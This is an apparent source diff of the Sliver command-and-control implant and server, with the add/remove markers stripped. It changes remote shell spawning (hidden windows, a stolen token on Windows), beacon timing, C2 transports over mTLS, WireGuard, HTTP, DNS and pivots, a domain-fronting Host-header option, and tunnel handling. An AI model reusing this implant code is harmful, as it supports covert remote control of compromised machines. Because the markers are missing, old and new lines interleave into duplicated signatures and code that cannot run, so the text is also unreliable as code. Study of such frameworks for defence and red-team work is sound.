log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, err
}
func ptyShell(tunnelID uint64, command []string) *Shell {
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
Cancel: cancel,
}, err
}
// GetSystemShellPath - Find bash or sh
+18 -4
View File
@@ -19,6 +19,7 @@ package shell
*/
import (
"context"
"io"
"os"
"os/exec"
@@ -30,12 +31,25 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Stderr io.ReadCloser
Cancel context.CancelFunc
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
// Start - starts a command
func (s *Shell) Start() error {
return s.Command.Start()
}
// Wait - waits till the command finish
func (s *Shell) Wait() error {
return s.Command.Wait()
}
// Stop - stopping the command (syskill) using context cancel
func (s *Shell) Stop() {
if s.Cancel != nil {
s.Cancel()
}
}
func exists(path string) bool {
+22 -6
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
)
@@ -42,29 +43,42 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
return &Shell{
@@ -72,7 +86,9 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, nil
}
// GetSystemShellPath - Find bash or sh
+36 -7
View File
@@ -23,6 +23,7 @@ import (
"log"
// {{end}}
"context"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
@@ -61,28 +62,56 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Stderr: stderr,
Cancel: cancel,
}, err
}
+8 -8
View File
@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
// {{if .Config.Debug}}
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
+1 -1
View File
@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
// {{end}}
jitterDuration := time.Duration(0)
if 0 < b.Jitter() {
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
}
duration := time.Duration(b.Interval()) + jitterDuration
// {{if .Config.Debug}}
+91
View File
@@ -0,0 +1,91 @@
package transports
import (
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
c.removeAndCloseAllTunnels()
})
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
}
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -70,6 +70,7 @@ type HTTPOptions struct {
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
HostHeader string
ProxyConfig string
ProxyUsername string
@@ -109,6 +110,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -221,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
if s.Options.HostHeader != "" {
req.Host = s.Options.HostHeader
}
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
+20 -21
View File
@@ -25,7 +25,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"time"
// {{if .Config.Debug}}
@@ -43,8 +45,6 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
readBufSize = 16 * 1024 // 16kb
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Config.MtlsCACert}}`
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
@@ -23,6 +23,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+27 -92
View File
@@ -19,7 +19,6 @@ package transports
*/
import (
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
"net"
@@ -62,12 +61,15 @@ import (
// {{end}}
// {{if not .Config.NamePipec2Enabled}}
"io"
"net/url"
"sync"
"time"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"time"
)
var (
@@ -77,88 +79,6 @@ var (
type Start func() error
type Stop func() error
// Connection - Abstract connection to the server
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
})
}
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
Reader io.ReadCloser
ReadSequence uint64
Writer io.WriteCloser
WriteSequence uint64
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
@@ -295,7 +215,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
close(recv)
},
@@ -352,7 +271,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -393,7 +315,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
close(send)
conn.Close()
dev.Down()
close(recv)
@@ -462,7 +383,10 @@ func wgConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
return
}
if err != io.EOF && err != nil {
break
@@ -499,7 +423,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[http] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -547,6 +470,12 @@ func httpConnect(uri *url.URL) (*Connection, error) {
return
default:
envelope, err := client.ReadEnvelope()
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[http] eof")
// {{end}}
return
}
switch errType := err.(type) {
case nil:
errCount = 0
@@ -614,7 +543,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[dns] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{} // Stop polling
close(recv)
},
@@ -678,6 +606,11 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
log.Printf("[dns] session is closed")
// {{end}}
return
case io.EOF:
// {{if .Config.Debug}}
log.Printf("[dns] eof")
// {{end}}
return
default:
errCount++
// {{if .Config.Debug}}
@@ -720,7 +653,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
log.Printf("[tcp pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
ctrl <- struct{}{}
close(recv)
},
@@ -794,7 +726,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
// {{if .Config.Debug}}
log.Printf("[tcp pivot] eof")
// {{end}}
return
}
if err != nil {
// {{if .Config.Debug}}
+65
View File
@@ -0,0 +1,65 @@
package transports
import (
"io"
"sync"
)
// Tunnel - Duplex byte read/write
type Tunnel struct {
ID uint64
// Reader io.ReadCloser
Readers []io.ReadCloser
readSequence uint64
Writer io.WriteCloser
writeSequence uint64
mutex *sync.RWMutex
}
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
return &Tunnel{
ID: id,
Readers: readers,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
func (c *Tunnel) ReadSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.readSequence
}
func (c *Tunnel) WriteSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.writeSequence
}
func (c *Tunnel) IncReadSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.readSequence += 1
}
func (c *Tunnel) IncWriteSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.writeSequence += 1
}
// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
for _, rc := range c.Readers {
rc.Close()
}
c.Writer.Close()
}
@@ -26,6 +26,7 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
@@ -48,7 +49,6 @@ import (
)
var (
readBufSize = 16 * 1024 // 16kb
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -111,8 +111,8 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -120,23 +120,22 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.0
// protoc v3.20.1
// protoc-gen-go v1.26.0
// protoc v3.19.4
// source: clientpb/client.proto
package clientpb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.0
// protoc v3.20.1
// protoc-gen-go v1.26.0
// protoc v3.19.4
// source: dnspb/dns.proto
package dnspb
+2 -2
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.0
// protoc v3.20.1
// protoc-gen-go v1.26.0
// protoc v3.19.4
// source: rpcpb/services.proto
package rpcpb
-4
View File
@@ -1,8 +1,4 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v3.20.1
// source: rpcpb/services.proto
package rpcpb
File diff suppressed because it is too large. Load diff
+5
View File
@@ -170,6 +170,7 @@ message FileInfo {
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
string Link = 6;
}
message CdReq {
@@ -231,6 +232,7 @@ message DownloadReq {
string Path = 1;
int64 Start = 2;
int64 Stop = 3;
bool Recurse = 4;
commonpb.Request Request = 9;
}
@@ -243,6 +245,8 @@ message Download {
int64 Stop = 5;
bytes Data = 6;
bool IsDir = 7;
int32 ReadFiles = 8;
int32 UnreadableFiles = 10;
commonpb.Response Response = 9;
}
@@ -761,6 +765,7 @@ enum PivotType {
message PivotStartListenerReq {
PivotType Type = 1;
string BindAddress = 2;
repeated bool Options = 3;
commonpb.Request Request = 9;
}
+1
View File
@@ -4,4 +4,5 @@ fs/*.zip
fs/darwin/amd64/
fs/darwin/arm64/
fs/linux/amd64/
fs/linux/arm64/
fs/windows/amd64/
+16 -27
View File
@@ -23,7 +23,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
consts "github.com/bishopfox/sliver/client/constants"
@@ -38,8 +40,6 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
readBufSize = 1024
)
var (
@@ -111,6 +111,7 @@ func handleSliverConnection(conn net.Conn) {
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
@@ -156,39 +157,27 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
mtlsLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+16 -23
View File
@@ -22,7 +22,9 @@ import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"net/netip"
@@ -260,36 +262,27 @@ func socketWGReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
wgLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data, keep in mind each call to .Read() may not
// fill the entire buffer length that we specify, so instead we use two buffers
// readBuf is the result of each .Read() operation, which is then concatinated
// onto dataBuf which contains all of data read so far and we keep calling
// .Read() until the running total is equal to the length of the message that
// we're expecting or we get an error.
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
wgLog.Errorf("Read error: %s", err)
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
wgLog.Errorf("[wireguard] read error: %s\n", err)
// {{end}}
return nil, errors.New("[wireguard] zero data length")
}
if err != nil {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
wgLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
+28 -15
View File
@@ -28,31 +28,44 @@ import (
// ImplantConnection - Abstract connection to an implant
type ImplantConnection struct {
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
ID string
Send chan *sliverpb.Envelope
RespMutex *sync.RWMutex
LastMessageMutex *sync.RWMutex
Resp map[int64]chan *sliverpb.Envelope
Transport string
RemoteAddress string
LastMessage time.Time
Cleanup func()
}
// GetLastMessage - Retrieves the last message time
func (c *ImplantConnection) GetLastMessage() time.Time {
c.LastMessageMutex.RLock()
defer c.LastMessageMutex.RUnlock()
return c.LastMessage
}
// UpdateLastMessage - Updates the last message time
func (c *ImplantConnection) UpdateLastMessage() {
c.LastMessageMutex.Lock()
defer c.LastMessageMutex.Unlock()
c.LastMessage = time.Now()
}
// NewImplantConnection - Creates a new implant connection
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
return &ImplantConnection{
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
ID: generateImplantConnectionID(),
Send: make(chan *sliverpb.Envelope),
RespMutex: &sync.RWMutex{},
LastMessageMutex: &sync.RWMutex{},
Resp: map[int64]chan *sliverpb.Envelope{},
Transport: transport,
RemoteAddress: remoteAddress,
Cleanup: func() {},
}
}
+11 -4
View File
@@ -24,6 +24,7 @@ import (
"time"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
@@ -75,13 +76,13 @@ type Session struct {
// LastCheckin - Get the last time a session message was received
func (s *Session) LastCheckin() time.Time {
return s.Connection.LastMessage
return s.Connection.GetLastMessage()
}
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Checking health of %s", s.ID)
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
sessionsLog.Debugf("Last checkin was %v", s.LastCheckin())
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
reconnect := time.Duration(s.ReconnectInterval)
@@ -91,13 +92,19 @@ func (s *Session) IsDead() bool {
return false
}
if s.Connection.Transport == consts.MtlsStr {
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
if timePassed < mtls.PingInterval+padding {
sessionsLog.Debugf("Last message within ping interval with padding")
return false
}
}
if s.Connection.Transport == consts.WGStr {
if timePassed < wireguard.PingInterval+padding {
sessionsLog.Debugf("Last message with ping interval with padding")
return false
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
if time.Since(s.Connection.GetLastMessage()) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
return false
}
+84 -6
View File
@@ -23,6 +23,7 @@ import (
"encoding/binary"
"errors"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +41,12 @@ var (
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
)
const (
// delayBeforeClose - delay before closing the tunnel.
// I assume 10 seconds may be an overkill for a good connection, but it looks good enough for less stable one.
delayBeforeClose = 10 * time.Second
)
// Tunnel - Essentially just a mapping between a specific client and sliver
// with an identifier, these tunnels are full duplex. The server doesn't really
// care what data gets passed back and forth it just facilitates the connection
@@ -54,6 +61,43 @@ type Tunnel struct {
FromImplantSequence uint64
Client rpcpb.SliverRPC_TunnelDataServer
mutex *sync.RWMutex
lastDataMessageTime time.Time
}
func NewTunnel(id uint64, sessionID string) *Tunnel {
return &Tunnel{
ID: id,
SessionID: sessionID,
ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.TunnelData),
mutex: &sync.RWMutex{},
lastDataMessageTime: time.Now(), // need to be initialized
}
}
func (t *Tunnel) setLastMessageTime() {
t.mutex.Lock()
defer t.mutex.Unlock()
t.lastDataMessageTime = time.Now()
}
func (t *Tunnel) GetLastMessageTime() time.Time {
t.mutex.RLock()
defer t.mutex.RUnlock()
return t.lastDataMessageTime
}
func (t *Tunnel) SendDataFromImplant(tunnelData *sliverpb.TunnelData) {
